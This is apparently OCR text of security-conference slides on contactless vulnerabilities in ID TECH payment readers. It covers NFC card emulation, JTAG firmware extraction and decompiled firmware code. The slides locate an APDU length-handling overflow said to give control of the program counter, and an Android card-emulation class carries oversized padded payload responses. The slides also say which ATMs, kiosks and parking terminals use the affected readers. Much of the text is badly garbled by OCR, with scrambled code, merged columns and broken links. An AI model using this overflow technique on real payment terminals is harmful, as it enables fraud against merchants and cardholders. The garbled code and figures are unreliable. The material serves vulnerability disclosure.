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Critical contactless vulnerabilities in
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ABOUT ME

* Reverse engineering. From bare metal firmware to Operating
Systems...

* HW Hacker. Memory chip extractions, intraboard attacks, fault
injection...

* Code review. Firmware, Operating Systems, Server-client
Applications...

* | like to break stuff and face challenges but also to find fixes and
mitigations for my findings.
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INTRODUCTION

* Previous research:

Vulnerabilities in chip readers (not contactless)

PinPadPwn 44con (2012)
https://www.youtube.com/watch?v=wY6Zxch0dJk

Cloning EMV transactions:

Crash and Pay: Owning and Cloning Payment Devices (2015)

Bttps://wwcvlvf.blackhat.com/docs/us-1 5/materials/us-15-Fillmore-Crash-Pay-How-To-Own-And-Clone-Contactless-Payment-
evices.p

Looks like there are no previous research compromising payment readers
over NFC.
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INTRODUCTION

* How they work:
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INTRODUCTION

* How they work:
1 . Start transaction using
reader's vendor SDK (USB
command send to main MCU)

HOST @
'é 6 . Computer receives data
from Main MCU with results

2 . Send command "start over USB
reading" to NFC chip using
NFC vendor SDK over SPI/ 3. Starts reading from the
UARTY/... Antenna

5. NFC chip process some
data and sends it to the Main

MCU
g =
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INTRODUCTION

* How they work:

Contactless Card

6F2F840E325041592
E5359532E44444630
31A51DBFOC1A61184
FO7A0000000041010
870101500A4D41535
44552434152449000

6F388407A00000000
41010A52D500A4D41
53544552434152448
701015F2D02656E9F
1101019F120A32382
044656772656573BF
0C059F4D020B0A9S00

Terminal

1. Select(PSE)

2. Payment Directory

3. select (AID)

CI(AID, PDOL jist etc.)

00A404000E3250
41592E5359532E
444446303100

00A4040007A000
000004101000

N=A
\vj
Contactless Card Terminal
) -ons(PDOL) 80A8000002830000
ngOphon
Get proceSS\
€08010100100101 6. alp
01180102009000 L AFL
706A9F6C0200019F65021C
009F660203FE9F6B135444
XXXXXXXX0108D150220100 dReCOlel OOB2010COO
00000000000F9F6701059F 7. Rea

6206000000001C009F6306
0000000003FE5629423534
3434333433333031343630
3130385E202F5E31353032
3230313030303030303030
30303030309F640105900

http://index-of.es/Miscellanous/CONF %20SLIDES %20AND%20PAPER/us-15-Fillmore-Crash-Pay-How-To-Own-And-Clone-Contactless-Payment-Devices.pdf
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INTRODUCTION

* How they work:
APDU (Application Protocol Data Unit)

maximum 256 bytes are expected.

. APDU - Application Protocol Data Unit Response APDU
w MF = Master File
_{ ™ After the reset, the communication between terminal and card works with APDUs. The card will execute the command and send a response APDU back to the terminal. The
P PSE = Payment System response APDU has an optional body consisting of data and a mandatory trailer with two
PR i o | : ’ 2 Command APDU status bytes "SW1" and "SW2". SW1 and SW2 combined are the status word (SW). If the
| Environment status word has the value 0x9000 (SW1 = 0x90, SW2=0x00), the command was
e The terminal sends a command APDU to the card. This command has a mandatory header successfully executed by the card.
Appheaton dua s s and an optional body.
t caaic) | PPSE = Proxllmlty Payment P 4 Data w1 —r
= Sunbiecss System Environment (Contactless CLA INS P1 P2 Lc DaFa Le Body Trailer
Only) Header Trailer
._ZEva:xmmd c
. . A ase 1to 4
tw.umm | s - Field Description
Smdon, | ADF = Application Definition Files Class b '
—— CLA 0:2)55 yte There are four different cases of APDU:
AEF = Application Elementary Instruction byte Case 1
Files INS 0xA4:Select Command Command: Header
0xB2:Read Record Command Response: Trailer
p1 Parameter 1 byte Case 2
This is the main idea: “You can The value and meaning depends on the instruction code (INS). Command: Header + Le
Sty be DUV bdty e quickly select an ADF with the Parameter 2 byte Response: Data + Trailer
:M:;’ o Z I ) ion Identifier (AID P2 The value and meaning depends on the instruction code (INS). Case 3
;L“‘f.i.‘::':.,x:m,: [yt pctanoentifer (21D Number of data bytes send to the card. Command: Header + Data
dedicued trmials Within an ADF, you can select Lc With the Smart Card Shell the value of Lc will be calculated Response: Trailer
AEFs with the Short File Identifier automatically. You don't have to specify this parameter. Case 4
(SED) Data Data byte Command: Header + Data + Le
g Le Number of data bytes expected in the response. If Le is 0x00, at Response: Data + Trailer

https://www.openscdp.org/scripts/tutorial/emv/reademv.html

u
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INTRODUCTION

* How they work:
APDU (Application Protocol Data Unit)

“ >00A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00

< 6F 6A 84 OE 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 A5 58
BF 0C 55 61 26 4F 07 A0 00 00 00 03 10 10 50 0A 56 69 73 61
2044 6562 69 74 87 01 01 9F 2A 01 03 5F 55 02 55 53 42 03
46 50 98 61 2B 4F 07 A0 00 00 00 98 08 40 50 OF 55 53 20 43
6F 6D 6D 6F 6E 20 44 65 62 69 74 87 01 02 9F 2A 01 03 5F 55
02 555342 03 46 50 98 90 00

A
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https://salmg.net/2017/09/12/intro-to-analyze-nfc-contactless-cards/
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6F File Control Information (FCI) Template
84 Dedicated File (DF) Name
325041592E5359532E4444463031

AS5 File Control Information (FCI) Proprietary Template

61 Application Template
4F Application Identifier (AID) - card
A0000000031010

BFOC File Control Information (FCI) Issuer Discretionary Data

50 Application Label

VisabDebit

87 Application Priority Indicator
01

9F2A Unknown tag
03

5F55 Issuer Country Code (alpha2 format)
us

42 Issuer Identification Number (IIN)
465098

61 Application Template
4F Application Identifier (AID) - card
A0000000980840

50 Application Label

USCommonDebit

87 Application Priority Indicator
02

9F2A Unknown tag
03

5F55 Issuer Country Code (alpha2 format)
us

42 Issuer Identification Number (IIN)
465098

90 Issuer Public Key Certificate

©2023 10Active, Inc. All rights reserved

- 10Active.




INTRODUCTION

* What is really being sent over the air:
NFC native commands + APDU

68140836 68143204

68151280 68156048 HALT
68307696 68308688 WUPA
68309956 68312324

68320432 68322896 ANTICOLL
68324084 68329972

68338064 68348528 SELECT_UID
68349780 68353364

68361696 68366464 RATS
68370356 68378548

68400064 68426656

68562164 68593524

68688960 68707488
69097588 69111604

69238144 69246432

69757508 69762244
69770752 69775520
70220996 70225732
70233952 70238720
70684196 70688932
70697440 70702208
71147668 71152404
71161184 71165952
71376548 71429796
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CARD EMULATION

* How to emulate a card and send APDUs to reader:

- Card emulation with NFC chip (ACR122U NXP PN532 Chip)

u
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CARD EMULATION

* How to emulate a card and send APDUs to reader:

1. Send USB commands to
PN532 (ACR122u) to start
emulation mode

# 2. Receive APDU from
Reader through PN532
(ACR122u)
!E 3. Send APDUs to reader

through PN532 (ACR122u)

me/learningnets ©2023 I0Active, Inc. Al rights reserved. IOACtIVe@
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CARD EMULATION

* How to emulate a card and send APDUs to reader:

RFIDIOT.py

/* RFIDIOt.py - RFID IO tools for python
*

* Adam Laurie <adam@algroup.co.uk>
http://rfidiot.org/

*

*

This code is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or

*

*

*

(at your option) any later version.

*

This code is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

*

*

*

*/
Copyright (c) 2006-2011 Adam Laurie <adam@algroup.co.uk>

q: What is RFIDIOt?
a: A collection of tools and libraries for exploring RFID technology, written

in python.

q: Why RFIDIOt?

a: I like silly puns. Also, I'm coming at this from an idiot's point of view:
I know nothing about RFID tags, and even less about python. As such, I felt a
complete idiot when I started. :)

q: How can I contribute?
a: Send me patches, info, new tools, coffee, money, drugs and/or a Miles Davis song :)

q: What hardware is supported?

a: So far this works with the ACG serial readers. I use the CF Card model,
but it should also work with the USB version by changing the serial port to
/dev/ttyUsBe. You can find more details here:

me/learningnets

¥ master ~ RFIDIOt / pn532emulate.py /<> Jumpto ~

ﬁ AdamLaurie look for pn532 subroutines in the right place

A3 1 contributor

Executable File 171 lines (155 sloc) 5.04 KB

#!/usr/bin/python

3% 3% 3 W o 3% 3 ¥ oW ¥ 3 ¥ o o# ¥ ¥ # #

pn532emulate.py - switch NXP PN532 reader chip into TAG emulation mode

Adam Laurie <adam@algroup.co.uk>
http://rfidiot.org/

This code is copyright (c) Adam Laurie, 2009, All rights reserved.
For non-commercial use only, the following terms apply - for all other

uses, please contact the author:

This code is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or

(at your option) any later version.

This code is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

GNU General Public License for more details.

u
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CARD EMULATION

e How to emulate a card and send APDUs to reader:
Android app using Host Card Emulation.

import android.nfc.cardemulation.HostApduService;
import android.os.Bundle;
import android.util.Log;

public class MyHCEService extends HostApduService {

String AID = "325041592E5359532E4444463031";
String resp =

private static final String TAG = "MyHCEService";

@Ooverride
public void onDeactivated(int arg@) {

Log.i(TAG, msg: "OnDeactivated - arg® : " + String.valueOf(arge));
// TODO Auto-generated method stub

+

@Ooverride

public byte[] processCommandApdu(byte[] arg@, Bundle argl) {

Log.i(TAG, msg: "processCommandApdu™);

String hexCommandApdu = Utils.bytesToHexString(arg@);
Log.i(TAG, msg: "hexC pdu is: " + hexC dApdu );
//Log.i(TAG, "substr is : " + hexCommandApdu.substring(11,

11) );

//1if (hexCommandApdu == "00a404000e325041592e5359532e444446303100") {
Log.i(TAG, msg: "AID FOUND!");
Log.i(TAG, msg: "Sending: " + resp);
return Utils.hexStringToBytes(resp);

1/}

//return arg@;

me/learningnets

6F8206E9848206D04141414141414141414141414141414141414141414141414141414141414141414141414141
//String resp = "6F82002584820021414141414141414141414141A513500B56495341204352454449549F38039F66029000" ;

//String resp = "6F8200FF848200FB41414141414141414141414141414141414141414141414141414141414141414141414141
//String resp = "6F8201D9848201D541414141414141414141414141414141414141414141414141414141414141414141414141

u
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IDTECH CASE 4

B>
* |[dtech: Global leader in payment devices
https://idtechproducts.com/

ViVOtech Sells Card Reader Business
toID TECH

By Sean Sposito  August 06,2012, 10:00 p.m.EDT  1MinRead

ViVOtech has sold its ViVOpay payment-hardware business, the Santa Clara, Calif., company
a said Monday in a notice on its website.

= The fate of the now-divested business was up in the air since late July, when ViVOtech
announced it was downsizing its staff after trying to sell off its ViVOpay technology for

six months. It disputed rumors that it was shuttering the unit.

ID TECH, of Cypress, Calif., purchased the ViVOpay terminal business. ViVOtech did not say on

its website how much it received for the unit.

ID TECH makes readers for chip- and magnetic-stripe payment cards, as well as PIN pads and

bar code readers, according to its website.

me/learningnets ©2023 I0Active, Inc. Al rights reserved. IOACtIVe®



https://idtechproducts.com/

IDTECH CASE
|dtech:

Magstripe, chip & contactless readers

] Featured Products
- Pin pads
- OEM hardware <

TO u Ch S C ree n d i S p I ay Gaming Reader Kiosk IV SmartPIN L100

Manually-operated, partial insert reader The ViVOpay Kiosk IV is a compact, single- 1D TECH's SmartPIN L100 is a PCl 4.x
that supports single, dual, or triple track piece NFC contactless solution certified certified PIN Entry Device designed for

.
G a l I I I n g re a d e rS magnetic heads. with the latest contactless... outdoor unattended.
oo | [ oo |

>, <]
2> >
S ¥ . 0
‘?Gz o D
“ q
N VP5300 VP5300 Antenna VP5300M
The VP5300 is a PCI-PTS certified The VP5300 NFC Antenna is designed to be VP5300M is the world's first PCI SRED

Magstripe-EMV smart card hybrid insert attached to the VP5300 to support al certified MSR, EMV contact, and EMV -
/I . t reader that is ideal for. popular... contactless all-in-one secure. IOActlve
me/liearningnets o



IDTECH CASE

* VVulnerable readers:
- Code execution vulnerabilities in firmware:

- Kiosk Il
- Kiosk IV

- Vendi

‘ - VP8300

- Most likely the vulnerability is present in all devices.

m
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IDTECH CASE

* Where to find these vulnerable devices:
- Most of Diebold/Wincor/NCR/

N5 2 happyATMs.com

» & ATM PARTS

me/learningnets

yosung/Fujitsu ATMs

e

&0 ATM MACHINES
HappvATMs

Diebold ID Tech VIVOPay
Kiosk Il CCR MAIN CONTROL
UNIT 540-0601-03 PN: 49-
239915-000A, 49239915000,

$250.00
-

Diebold ID Tech VIVOpay
Kiosk Il NFC Antenna PN: 49-

9916-000A,
492399160004, 540-0602-01,
540060201

$175.00
-

Diebold ID Tech ViVOpay
Kiosk Ill CABLE 80136201~
001 PN: 49-273500-000A,

49273500000A

$125.00

Diebold ID TECH ViVOpay
Kiosk Il NFC Antenna PN: 49-

498-000A,
492734980004, IDVK-310100,
IDVK310100

$395.00

Diebold ID TECH ViVOpay
Kiosk lll USB CCR MAIN
CONTROL UNIT PN: 49-

000A,49273499000A,IDVK:
300001-DB,IDVK300001DB

$180.00

Hitachi V4KU-01JN-NO1 DIP
ATM Kiosk Manual Card
Reader, VAKUOTJNNO1

ID Tech NFC VIVOPay Kiosk Il
Cable Assembly PN: 220-
2456-00, 220245600

1D TECH VIVOpay Kiosk II
MAIN CONTROL UNIT PN:
540-0601-05, 540060105

ID TECH VIVOpay KIOSK Il
MAIN CONTROL UNIT PN:
540-0601-07, 540060107

ID TECH VIVOPay KIOSK II
NFC ANTENNA PN: 560
0602-06, 560060206

$125.00

$375.00 $125.00 $250.00 $175.00
w w w
Q. happyAT]

1D TECH ViVOpay Kiosk Iil
CABLE 800mm 80136204-
001 PN: 80136204-001,
80136204001

$125.00
w

1D TECH ViVOpay Kiosk Iil
CABLE PN: 80136201-001,
80136201001

$125.00

NCR ID Tech Kiosk Il NFC
Antenna PN: 445-0736411,
4450736411, 240-0801-04

$175.00

NCR ID Tech VIVOPay Kiosk Il
NFC Antenna PN: 445-
0718404, 4450718404, 240-
0801-02, 240080102

$175.00

NCR ID Tech VIVOPay Kiosk Il
SB NFC Main Control Unit
PN: 009-0028950, 90028950

$250.00

L w
u
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IDTECH CASE

* Where to find these vulnerable devices:

me/learningnets ©2023 I0Active, Inc. Al rights reserved. IOACtIVe®
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IDTECH CASE

* Where to find these vulnerable devices:

CALE / FLOWBIRD PARTNERS WITH ID TECH ON
UPCOMING EMV PAYMENTS TECHNOLOGY

Montreal. Canada, September 25, 2018 - CALE, a leading North American company specializing in secure, reliable and effective parking solution and Desjardins Group, one of the top payment solution providers in
the world - processing 3.3 billion transactions annually through its Monetico brand - are among the first to introduce the unattended contactless EMV payment method to Canada with “chip and no pin” through the
certification of ID TECH's VP5300.

Faster, Efficient and Secure Payment

Effective October 14, 2022, it will become mandatory for all unattended cardholder-activated terminals (pay stations) to be EMV-enabled. CALE is aware of this and is always staying ahead in the industry. The
company strives to provide its clients with the latest payment technology by keeping up-to-date with the latest network and data security industry standards.

Not only is the EMV payment solution a smart and proactive investment, it also reduces the merchant’s liability in the event of theft. Both merchants and end-users are reassured knowing that the latest payment
technology is used.

In order to develop and integrate the state-of-the-art EMV payment solutions, CALE has deployed all required resources and efforts, including CALE's development team in its Montreal head office working in
partnership with Desjardins and ID TECH

Starting very soon, all CALE customers will have the opportunity to upgrade their parking equipment with ID TECH's rugged VP5300 EMV Kit The EMV Kit includes the VP5300 (PCI 56X, EMV smart card insert reader)
with a ‘chip and no pin’ payment method and the NFC antenna for contactless payments.

The VP5300 secure insert reader supports credit card payments, while the NFC antenna supports payments by credit card. Interac Flash, Apple Pay, Google Pay and Samsung Pay.
CALE and its partners are proud to introduce this new solution to the Canadian market, which provides modern and innovative payment methods for its customers and their end-users.

Please contact your local CALE sales representative for more details.

me/learningnets ©2023 I0Active, Inc. Al rights reserved. IOACtIVe@



IDTECH CASE

* Where to find these vulnerable devices:
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IDTECH CASE

* Where to find these vulnerable devices:

RETAIL

£ 9 (ER o |
v \k\ ‘_ ] [Gu] 9
) o [ =

| 'HOSPITALITY

VP8300 Specs

Interfaces

USB-HID, USB Keyboard
Operating Temperatures
0°Cto55°C(32°F to 131°F)
Storage Temperatures
20°Cto 60°C (-4°F to 140°F)

Dimensions

1.75in (44,45 mm) X 552 in (140.21 mm) X 4.98 in (126.5 mm)

me/learningnets ©2023 I0Active, Inc. Al rights reserved. IOACtIVe®



IDTECH CASE (1d)

Advantech and ID TECH Showcase Retail
Tablet with New Flexibility for Cashless

Payment
Advantech and ID TECH Advantech Launches 8" POS Tablet with ID TECH's

Showcase Retail Tablet with ViVOpay to Support 3 Leading Payment Formats
New Flexibility for Cashless
Payment

Advantech Launches 8 POS Tablet with ID TECHs ViVOpay
to Support 3 Leading Payment Formats

Advantech, a leading industrial computer designer and manufacturer, and ID TECH, a
designer and manufacturer of payment devices and components, today announced the

launch of the AIM-35 industrial tablet with integrated payments. AIM-35 tablets are
designed for the demanding needs of retail and hospitality businesses.

=3 Advantech and ID TECH have aligned to incorporate ID TECHs VP3300 payment solution
with the Advantech AIM-35 rugged tablet to provide an integrated mobile tablet payment

el

o
\"\"
o

/[

)]

Milpitas, CA — Advantech, a leading industrial computer designer and manufacturer, and ID TECH, a designer and manufacturer of payment devices and
components, today announced the launch of the AIM-35 industrial tablet with integrated payments. AIM-35 tablets are designed for the demanding needs
of retail and hospitality businesses.

£
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VULNERABILITIES (IDTECH)
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VULNERABILITIES

Kiosk Ill Firmware extraction. JTAG

me/learningnets

telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...

Connected to localhost.

Escape character is "]'.

©2019 IOActive, Inc. All rights reserved. [13]
Open On-Chip Debugger

> flash banks

#0 : kx.pflashO (kinetis) at 0x00000000, size 0x00080000, buswidth
0, chipwidth 0

#1 : kx.pflash1 (kinetis) at 0x00000000, size 0x00000000, buswidth
0, chipwidth 0

> flash read_bank 0 kiosk3_dump 0 0x00080000

wrote 524288 bytes to file kiosk3_dump from flash bank 0 at offset
0x00000000 in

7.163636s (71.472 KiB/s)

> halt

target halted due to debug-request, current mode: Thread

xPSR: 0x81000000 pc: 0x000155e8 psp: 0x1fffd850

===== arm v/m registers
(0) r0 (/32): OX1FFFDB7C
(1) r1 (/32): 0xB6D2C2C8
(2) r2 (/32): 0x02020202
(3) r3 (/32): 0x03030303
(4) r4 (/32): 0x04040404
(5) r5 (/32): 0x05050505
(6) r6 (/32): 0x06060606
(7) r7 (/32): 0x07070707
(8) r8 (/32): 0x08080808
(9) r9 (/32): 0x09090909
(10) r10 (/32): 0x10101010
(11) r11 (/32): 0x11111111
(12) r112 (/32): 0x12121212
(13) sp (/32): Ox1FFFD850
(14) Ir (/32): 0x14141414

aeeroooeses . [OAcCtive.
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v A~
0005124A ADD.W R1, R8, RO,LSL¥6
0005124E LDRB.W R1, [R1,#0%3
#6

00051252 CMP R1,
00051254 BEQ loc_51240
L]
il e =
00051256 MOVS 00051240

00051240 loc_51240

Bare metal firmware( no OS ), e

e =

no symbols, no strings. SR

00051258 MOV R10, #1
0005125C MOVS RO, #0
0005125E B loc_51262

:
ARM. Aprox 1600 functions ]
00051262 LDR.W R1, [RS8, #0x10]
00051266 CMP RO, R1
00051268 BCS loc_51278
[
_ A 4
M=
0005126A ADD.W R1, R8, RO,LSL#6
0005126E LDRB.W R1, [R1,#0x31]
00051272 CMP R1,
00051274 BEQ loc_51260
§ J
7 ' 13
[l e | e =
00051276 MOV R10, RS] 00051260
00051260 loc_51260
I 00051260 ADDS RO, RO, #1
) L
M=
00051278
00051278 loc_51278
00051278 LDR.W RO, [RS,#8]
0005127C STRB.W RO, [SP,H#0x5F0+var_5DC]
00051280 MOVS R1, #0xA4 ; '@’
00051282 ADD RO, SP, #0xS5F0+var_5DC
00051284 MOVS R2, #0xE
00051286 STRB R1, [RO,#2]
00051288 STRB R5, [RO,#1]
0005128A MOVS R1, #4
0005128C STRB R1, [RO,#3]
0005128E STRB RS, [RO,#4]
00051290 MOVS RO, #0xE
00051292 STRB.W RO, [SP,#0x5F0+var_5D7]
00051296 ADD R1, SP, #0x5F0+var_5BC
00051298 ADD.W RO, SP, #0xSF0+var_5SD6
0005129C BL sub_2B82C
000512A0 ADDW RO, R8, #0x958
000512A4 STR RO, [SP,#0x5F0+var_SEC]
000512A6 STRB.W R5, [SP,#0x5F0+var_5C8]
NNNG12AR MOV W »n #Nv110
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VULNERABILITIES

» Locate where the code parses APDUs from card:

1. Locate memory address range for peripheral that receives the data.
2. Look for the bytes that the reader sends to the card:
EMV PPSE (Proxymity Payment System Environment):

2PAY.SYS.DDFO1 B
@ W (((( Co
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VULNERABILITIES

vl =
sub, 29454(536931464, 0, 512

v 1
for (i = 0; i < vi[4]; ++i )
if ( BYTEL(vI[16 * i + 12]) != 6 )
{
v 0;
break;

vE o=

for ( §=0; 3 < vial; ++9)

if ( BYTEL(vI[16 * j + 12]) != 3 )
{

2B82C((int)&v3l, &v33, OxEu);

recv_length = (unsigned

if ( (unsigned int)rec
return 221;

v9 = sub_3CTE4((int)evis, vi[1], vi(3D);

v10 = gemv_by

Aif ( v1[598)]

{

int8 *)recv_card(*vl,

-OxF)

= (_BYTE)r
copia_loop (0x2000EC89, &emv byt
1 =" (char *)&rec
if ( (unsigned int)Tecv_length < 2 )
goto LABEL_7S;
(unsigned
2 0

1-.‘]m

__inte)*(vil - 2);

__int8 *)gen

if ( emv_byte 2 & 0x80 )
{
k = (char *)emv_byte_3;
recv_length = (unsigned _ int8 *)&emv_restof_bytes;

}
else
{
k = (char *)emv_by!
ength = &emv_]

recv_.
}

v22
v10 k;
while (1)

recv_length;

v16 = recv_length == 0;

me/learningnets

)i
((void (__fastcall *) (char *, const char *, signed int))loc_2B84C) (&v33,
v2 =0

"2PAY.SYS.DDFO1"}| 16);

// Sends PPSE to card

gth < 2 && v3 ) // start parsing

(unsigned int)recv_length);
ngth[{_] DWORD)A—m' _byte_1]

v_byte_1,

__int8 *)&emv_byte_1,

v_length);// Sanity checks

272,

vl + 598,

v5);// Receives data from Card

u
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VULNERABILITIES e

.

LABEL_47:

L)

me/learningnets

C O
v1l6 = recv_length == 0; &bﬂﬁ
\wj
if ( v16 )
break;
if ( *recv_length == 0xzAS5 )
{

if ( recv_length[1] & 0x80 )
{

k (char *)recv_length[2];
3 = recv_length + 3;

k = (char *)recv_length[1];
vl8 = recv_length + 2

if ( vig[2] & 0x80 )

e0s1;

while ( v21 )

if ( *v21 == 0x61 && AID_CHECK((int)vl, w21, 0, (int *)&v22) )
{

vz = 1;
break;

sub_2A8DA(v21l, (unsigned int *)&v24, 0);
vs5 A1 | v2) )

28;

1;

10;

v = 28;

v40 = v40 & OxF | 0x40;
sub_3D256((int)&v34, 0xl3u, 0);
v = 10;

*(vil - 2);
*(vil - 1);

=1;
goto LABEL_71;

t);ol:o LABEL_72; -
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VULNERABILITIES e

Signed int _ fastcall AID_CHECK(int al, unsigned __int8 *a2, int a3, int *a4) | ) } \w)
( .
unsigned int v4; // r500 V11 = (unsigned __int® *)(v5 + 2396);
v5; // r8@l 1 H

unsigned __int8 *v6; // roQl
unsigned __int8 *v7; // r
int v8; /7 ro@2

unsigned int i; // ra@s
unsigned __int8 *v10; // r1008
unsigned __int8 *v11; // r6@z24
bool v12; // zf@25

bool v16; // zf@az
unsigned int v17; // r0@49
unsigned int j; // ra@si
int v19; // rl0@5a
unsigned int v20; // r2@55
char v21; 60

}
if (via)
return 0;

if (
30 = s2(2); “v;(GVT[)v)‘[z] - 8;
T *(_BYTE *) (v5 + 2396) = v7[3];
! )
else
= al + 2; '1';2(- \lj == 0xDF;

30 +°2;

if v
"(7EYTE ) (v5 + 2397) = v7

*aa
. . ) .
for 07 < HLDHORD (s 185w ) = sub_2R8DA(v7, (unsigned int *)&v30, 0);
Aif ((*(_BYTE *)(v5 + (i << 6) + 0x30) )
vio 7;
*(_DWORD *) (v5 + 20) = i;
; ) vi = (unsigned _ int8)v
16 ( (uncigned Tat) (uneigned _int)vi - 5 < 0xC )
y17 = (unsigned int)-(posible_memcpy((unsigned _ int8 *)&v28, v6, 5u) < 1) >> 31;

0;
if ( *v10 == 0x4F )

el
{ LoBYTE(v17) = 0;
va = v10[1]; *(_BYTE %) (v5 + 2398) = vi7;
if ( va & 0x80 ) for (] =0; ; ++3)
{
; £ ( ) >= *(_DWORD *)(v5 + 16) )
v4 = v10[2]; * J _DWO
if ((vi - 5 >= 0xC ) ngeiovx;m'am;_u, o
Lersurm 05 Af ( X(_BYTE *)(v19 + 49) == 6 )
v ; {
Llle if ( !posible_memcpy((unsigned _ int8 *)(v5 + (j << 6) + 28), v6, 5u) )
*(_DWORD *) (v5 + 20) = i;
Aif ((va - 5 >= 0xC ) =
return 0; LAREL_71: if * ) (v 16!
v6 = vi0 + 2; Aif ( J < *(_DWORD *)(v5 + 16) )
i return 1;
1 (ve return 0;
&& !posible_memcpy ( }
(unsigned __int8 *)(v5 + (*(_DWORD *) (v5 + 20) << 6) + 28), else

ve,
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VULNERABILITIES e

(=)
1lsigned int _ fastcall check_sizes_(unsigned _ int8 *emv_buf, int recv_size) &b\jﬂﬁ
24
3 unsigned __int8 *emv_buf2; // ragl
4 int recv_size2; // r5@l
5 int first_emv_byte; // roal
6 int second_or_3_byte; // r&gil
7 signed int v6; // r7@2
2 signed int v7; // ri@z
9 int v8; // ri@s
10| __int16 v10; // [sp+0Oh] [bp-18h]@7

buf2 = emv_buf

11;
1= 0x1F )

3 byte & 0x80) )
yte == 0x81 )

jte = emv_buf2[2];

3 byte == 0x82 )

= 257 * e

buf2[2];

If second byte == 0x82

(first_emv_byte << 8) + second_or_3_byte;

if ( first_emv_byte & 0x80 )

Next two bytes specify the size
T of the message (OxFFFF max)

3_byte & 0x80 )

+ 1); ?
What the hell”
3 byte == 0x82 )
second_or_3 byte = *(unsigned __int8 *)(v8 + 2) + (*(unsigned _ int8 *)(v8 + 1) << 8);

goto LABEL_

}
return 0;
1
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VULNERABILITIES 16)

Extended APDU Format

To express extended length, the APDU format has changed. The table below summarizes the format

TABLE 5-1 Extended APDU Format

Field Description Number of Bytes

Command Header | Class byte CLA 1
Command Header | Instruction byte INS 1
Command Header | Parameter bytes P1- P2 2
LC Field Absent for Nc = 0. Present for Nc >0 |0, 1,0r 3 Si0< 7F(127) == LENGTH 1 by

C 3 5]~ ~ . ENC
Data Field Absent if Nc =0, present if Ne >0 | Nc > < OxXFF(255) == LENC

< OXFFFF(65535) == LENGTH

LE Field Absent for Ne =0, present for Ne >0 |0, 1,2 or 3

Response Data Absent if Nr =0, present if Nr >0 Nr (max. Ne)

Response Status | Status bytes SW1 SW2 2

NOTATION

Lo

Nc = command data length
Ne = expected response data length

Nr = actual response data length

u
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If we are able to send an APDU bigger than 0x138h we can control $PC!

47| umar vue, s/ |apTeoIu] ,
50| char emv_byte_1; // [sp+4
51 unsigned __int8 emv_byte_2;
52 unsigned __int8 emv_byte_3;
53| char emv_restof_bytes; // [sp+4BBh]

[bp-135h]@3

vl = al;

56 sub_29454(536931464, 0, 512);

57 ((void (__fastcall *) (char *, const char *, signed int))loc_2B84C) (&v33, "2PAY.SYS.DDFO0l1", 16);
58 v2 = 0;

=0; i < vi[4]; ++1i )
{
62 if ( BYTE1(v1[16 * i + 12]) != 6 )
{
64 vi=0;
65 break;
66 }

68| v5 = 1;
69 for ( 7 =0; 7 < vIi[4]; ++] )

{
71 if ( BYTEL(v1[16 * 7 + 12]) != 3 )

73 v5 = 0;
74 break;

= 14; // Sends PPSE to card
2B82C((int)&v3l, &v33, O0xEu);

;

el

83  sub_|

=0;
(unsigned __int8 *)recv_card(*vl, (int)&v25, 21, (unsigned __int8 *)g&emv_byte 1, 272, vl + 598, v5);// Receives data from Card
length < 2 && v3 ) // Start parsing

_length

( (unsigned int)recv_

return 221;

9 = sub_3C7E4((int)&v34, v1[1], v1[3]);
v = gemv_byte_1;

91 if ( v1[598] != 0xF )

me/learningnets ©2023 I0Active, Inc. Al rights reserved. IOACtIVe@
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VULNERABILITIES

How we can send an Extended APDU ?

Many NFC chips that supports emulation doesn’t support extended APDU.

With the ACR122u you can only send max of OxFF bytes

m
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SOLUTION:

C @ issuetracker.google.com/issues/37005118#comment49

Bl AFL+ASAN

Il

|— Create ~

Assigned to me

»

Starred by me

CC'd to me

»

(1l

Reported by me

To be verified

<

~  Bookmark groups

~ Saved searches

~  Hotlists

Create hotlist
Create bookmark group

Browse components

ﬂ IssueTracker

Q_ Search IssueTracker -

Comment Hotlists (1) ~ A Default ~

Blocked by 0/0 ~ Blocking 0/0 ~ Duplicates (0) ~

37005118 »  NFC (IsoDep): maximum transceive length is hard-coded (261 Bytes), although some NFC Controllers are able to send more than 2000 Bytes  [A0SP] assigned
67 people have starred this issue.
Android Public Tracker

kr...@gmail.com <kr..@gmail.com> #1

Created issue.

- Steps to reproduce the problem
connect to an IsoDep-Tag and call getMaxTransceiveLength()

- What happened.
Returns always 261 i of the device respecti the ilities of the NFC Controller.
This value is also used for boundary checks in the transceive method so that there is no way to send more than 261 Bytes to an IsoDep-Tag in a single APDU. (What is necessary for some applications)

- Reason.
This value is hardcoded in the Nati: java: getMaxTi iveLength(int

case (TagTechnology.ISO_DEP):
/* The maximum length of a normal IsoDep frame consists of:
*CLA, INS, P1, P2, LC, LE + 255 payload bytes = 261 bytes
* such a frame is supported. Extended length frames however
* are not supported.
=
return 261; / Will be automatically split in two frames on the RF layer
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Hi,

Vl ' L N E RA B I L I I I E S I'm also a frustated Google Pixel XL owner who cannot use NFC with Extended Length.

I'm also unable to use my German national ID Card:
https://play.google.com/store/apps/details?id=com.governikus.ausweisapp2&hl=de

https://www.ausweisapp.bund.de/informieren/feldtest/

r....@gmail.com <r...@gmail.com> #36

| would like to use my german nPA but this fucking issue...

ad...@gmail.com <ad...@gmail.com> #37

Does the Pixel 2 series support this feature now or is it unsupported?

ws...@gmail.com <ws...@gmail.com> #38

According to AusweisApp2 (when trying to use the Gérman nPA elD card), NFC extended length still isn't supported on my new Pixel 2 XL \0/
Go, go, go, Google! 2023! You can still make it!

Mar 19,2020 05:04PM  }

Nl il

(S

i
Y’
AT

sm...@gmail.com <sm...@gmail.com> #67

FY! for the people still spamming this issue: It is fixed in Android Open Source Project Code.

vv

The fix was that AOSP now allows device vendors to specify the maximum transceive length which the NFC hardware they use allows. If your device has Android O or later the problem is not to be solved by the AOSP project but by the vendor/OEM of your device. Either the hardware does not support extended length or the
vendor did not configure the Android build running on your device to support this.

o)

Don't complain to AOSP. Complain to the vendor of your device.

